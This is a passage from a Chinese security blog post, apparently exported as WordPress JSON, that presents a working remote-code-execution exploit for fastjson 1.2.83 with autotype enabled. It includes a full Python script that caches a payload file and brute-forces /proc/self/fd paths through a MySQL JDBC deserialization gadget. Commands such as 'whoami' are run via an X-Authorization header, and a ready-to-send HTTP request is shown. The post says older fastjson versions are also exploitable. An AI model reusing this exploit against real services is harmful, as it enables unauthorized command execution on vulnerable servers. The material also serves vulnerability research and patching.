![\"\"\/](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
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\u653b\u51fb\u811a\u672c\u57fa\u672c\u4e0a\u5c31\u662f\u7a0d\u5fae\u6539\u4e86\u4e00\u4e0bm4x\u54e5\u54e5\u7684\uff0c\u8fd9\u91cc\u6f14\u793a\u7684\u662fmysql6\uff0c\u5f53\u7136\u5176\u4ed6\u7684\u73af\u5883\u4e5f\u884c\uff1a<\/p>\n\n\n\n
import socket\nimport threading\nimport time\nimport requests\nimport json\n\nHOST = \"127.0.0.1\"\nPORT = 8080\n\n\ndef cache_tmp():\n filepath = \".\/rce.txt\"\n with open(filepath, \"rb\") as f:\n raw_data = f.read().strip()\n data_hex = raw_data.hex()\n a = data_hex\n a = b\"\"\"POST \/json\/parse HTTP\/1.1\nHost: 127.0.0.1:8080\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nContent-Type: multipart\/form-data; boundary=xxxxxx\nUser-Agent: python-requests\/2.32.3\nContent-Length: 1296800\n\n--xxxxxx\nContent-Disposition: form-data; name=\"file\"; filename=\"a.txt\"\n\n{{payload}}\n\"\"\".replace(\n b\"\\n\", b\"\\r\\n\"\n ).replace(\n b\"{{payload}}\", bytes.fromhex(a) + b\"0\" * 1024 * 11\n )\n s = socket.socket()\n s.connect((HOST, PORT))\n s.sendall(a)\n time.sleep(1111111)\n\n\ndef exp():\n url = f\"http:\/\/{HOST}:{PORT}\/json\/parse\"\n headers = {\n \"Host\": \"127.0.0.1:8080\",\n \"User-Agent\": \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko\/20100101 Firefox\/145.0\",\n \"Accept\": \"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\",\n \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n \"X-Authorization\": \"whoami\",\n \"Content-Type\": \"application\/json\",\n }\n for fd in range(20, 101):\n print(f\"\u5f53\u524d\u7206\u7834\u5230fd: {fd}\")\n named_pipe_path = f\"\/proc\/self\/fd\/{fd}\"\n payload = {\n \"@type\": \"java.lang.AutoCloseable\",\n \"@type\": \"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\n \"proxy\": {\n \"connectionString\": {\n \"url\": f\"jdbc:mysql:\/\/xxx\/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath={named_pipe_path}\"\n }\n },\n }\n payload_json = json.dumps(payload).encode(\"utf-8\")\n headers[\"Content-Length\"] = str(len(payload_json))\n try:\n response = requests.post(url, headers=headers, data=payload_json, timeout=5)\n # \u68c0\u67e5\u54cd\u5e94\u4e2d\u662f\u5426\u5305\u542b\"root\"\n if \"root\" in response.text:\n print(\"\\n========== \u547d\u4e2d\u76ee\u6807 ==========\")\n print(f\"\u8bf7\u6c42\u4f53: {json.dumps(payload, indent=2)}\")\n print(f\"\u54cd\u5e94\u5185\u5bb9: {response.text}\")\n print(\"==============================\")\n # \u7ec8\u6b62\u7206\u7834\n break\n except Exception:\n continue\n\n\nthreading.Thread(target=cache_tmp).start()\ntime.sleep(3)\nexp()\n<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
POST \/json\/parse HTTP\/1.1\nHost: 127.0.0.1:8080\nX-Authorization: ls -al\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko\/20100101 Firefox\/145.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application\/json\nContent-Length: 448\n\n{ \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql:\/\/xxx\/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=\/proc\/self\/fd\/26\" } }}<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u603b\u7ed3<\/h1>\n\n\n\n
\u867d\u7136\u8bf4\u7684\u662ffastjson1.2.83(\u5f00autotype)\uff0c\u4f46\u5176\u5b9e\u9664\u4e86\u8fd9\u4e2a\u7248\u672c\uff0c\u51e0\u4e2a\u8001\u7248\u672c\u7684fastjson\u6bd4\u59821.2.68\u548c1.2.80\u5e94\u8be5\u4e5f\u53ef\u4ee5\u5229\u7528\u8fd9\u79cd\u65b9\u6cd5\u5b9e\u73b0\u4e0d\u51fa\u7f51rce\uff0c\u4e5f\u7b97\u7ed9\u5927\u5bb6\u629b\u7816\u5f15\u7389\u4e86\uff0c\u5b8c\u6574\u7684\u4ee3\u7801\u73af\u5883\u6211\u653e\u5728github\u4e0a\u4e86\uff0c\u6709\u5174\u8da3\u7684\u5e08\u5085\u53ef\u4ee5\u590d\u73b0\u4e00\u4e0b\uff1ahttps:\/\/github.com\/Fushuling\/fastjson_mysql<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u524d\u8a00 \u4f17\u6240\u5468\u77e5\uff0c\u9ad8\u7248\u672c\u7684fastjson\u7684autotype\u662f\u9ed8\u8ba4\u5173\u95ed\u7684\uff0c\u8fd9\u610f\u5473\u7740fastjson\u9ed8\u8ba4\u8d70\u767d\u540d\u5355\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4089","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=4089"}],"version-history":[{"count":2,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4089\/revisions"}],"predecessor-version":[{"id":4092,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4089\/revisions\/4092"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=4089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=4089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=4089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
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<\/div><\/figure>\n\n\n\n![\"\"](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/12\/QQ20251204-195105-4-3.png\")
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